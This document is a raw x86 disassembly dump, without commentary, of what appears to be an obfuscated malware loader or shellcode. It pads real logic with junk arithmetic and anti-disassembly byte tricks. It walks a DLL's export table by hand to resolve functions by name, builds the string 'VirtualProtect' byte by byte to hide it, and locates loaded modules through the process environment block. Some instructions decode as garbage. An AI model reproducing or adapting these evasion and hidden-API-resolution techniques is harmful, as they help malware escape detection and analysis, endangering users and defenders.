jne 0x512231
mov dword [ebp - 0x2e0], 0
push eax
push ebx
add esp, 4
add eax, 0x748e
or eax, 0xb8e2
add eax, 0x16a25
pop eax
push esi
add esi, 0xecd1
sub esi, 0x1a1f
add esi, 0x10aa9
xor esi, 0xe885
pop esi
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push ebx
push edx
add esp, 4
or ebx, 0x6924
sub ebx, 0x12800
pop ebx
push ecx
push esi
add esp, 4
or ecx, 0x3ba2
or ecx, 0x7299
pop ecx
push esi
xor esi, 0x1647e
sub esi, 0x83ba
pop esi
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x512513
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x512804
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x51253b
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x512804
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x51256d
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x512804
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x512592
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x512804
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x5125ec
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x5127f8
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x51265c
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x51270e
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x51270e
push edi
push edi
add esp, 4
and edi, 0x6e0f
pop edi
push eax
push ebx
add esp, 4
sub eax, 0x170f0
pop eax
push eax
and eax, 0xe177
pop eax
push edx
push ecx
add esp, 4
sub edx, 0xcd3e
and edx, 0xe5f4
pop edx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x512700
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x512707
jmp 0x51264d
jmp 0x51270e
push esi
sub esi, 0x2880
xor esi, 0x5831
or esi, 0x4622
pop esi
push ebx
push eax
add esp, 4
add ebx, 0x114b8
pop ebx
push ebx
push edi
add esp, 4
and ebx, 0x4585
sub ebx, 0x14d26
pop ebx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x51276d
mov dword [ebp - 0xc40], 0
jmp 0x5127dc
push ecx
push edx
add esp, 4
sub ecx, 0xf509
xor ecx, 0x4ffa
pop ecx
push eax
push ebx
add esp, 4
and eax, 0xecc5
xor eax, 0x165df
pop eax
push edx
xor edx, 0xd9a9
or edx, 0x34e
pop edx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x5127d2
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x5127dc
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x5127f3
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x512804
jmp 0x5125dd
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push eax
push esi
add esp, 4
or eax, 0xe455
or eax, 0x1248b
xor eax, 0x88f3
pop eax
push edx
push edi
add esp, 4
or edx, 0x3850
jmp 0x51283b
xor edx, 0x5895
pop edx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push esi
add esi, 0x5b6e
call 0x512867
add byte [edx], bh
dec edi
xor al, 0x39
xor bh, byte [edx + ecx*2]
xor bh, byte [ebx + eax*4]
les eax, [ecx + eax*4]
into
jg 0x512890
add byte [eax], al
add esi, 0xdd94
pop esi
push ecx
push edi
add esp, 4
or ecx, 0x87b1
pop ecx
cmp dword [ebp - 0x3cc], 0
je 0x512895
cmp dword [ebp - 0xa5c], 0
jne 0x5128db
invalid
push eax
push edx
add esp, 4
jmp 0x5128a0
add eax, 0x1106f
pop eax
push ecx
push ecx
add esp, 4
xor ecx, 0x35b4
and ecx, 0x766
and ecx, 0x7fa0
pop ecx
push esi
add esi, 0xba87
pop esi
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push eax
push ecx
add esp, 4
jmp 0x5128ef
pop eax
push ebx
push eax
add esp, 4
and ebx, 0x12803
call 0x512907
add byte [edx], bh
dec esi
inc eax
cmp al, 0x3b
dec ebx
add esp, 4
or ebx, 0x1908
xor ebx, 0x12f68
pop ebx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push edx
and edx, 0x10b07
pop edx
push edx
push eax
add esp, 4
and edx, 0x12fb0
pop edx
push edx
push esi
add esp, 4
sub edx, 0x4f82
or edx, 0x3672
add edx, 0x4113
add edx, 0x16307
pop edx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push ecx
sub ecx, 0x15156
add ecx, 0x155ef
pop ecx
push edi
push esi
add esp, 4
add edi, 0x4eb9
call 0x512a05
add byte [ebx + 0x44], al
cmp byte [ebx], dh
inc ecx
dec esi
xor eax, 0xc4834a38
add al, 0x81
out 0x72, eax
clc
add byte [eax], al
pop edi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push edi
push esi
add esp, 4
xor edi, 0xd136
pop edi
push ecx
push edi
add esp, 4
and ecx, 0xcae2
sub ecx, 0xdaa5
add ecx, 0x630c
pop ecx
push edx
add edx, 0xc72c
sub edx, 0x24
pop edx
cmp dword [ebp - 0x150c], 0
jne 0x512a80
mov dword [ebp - 0x2a8], 0
jmp 0x512d27
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push eax
sub eax, 0xe3a4
sub eax, 0x3175
sub eax, 0x58d8
pop eax
push ebx
push esi
add esp, 4
or ebx, 0x105ef
and ebx, 0xdc0f
and ebx, 0x3d15
or ebx, 0x1358e
pop ebx
cmp dword [ebp - 0xc4c], 0
jne 0x512adc
mov dword [ebp - 0x2a8], 0
jmp 0x512d27
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx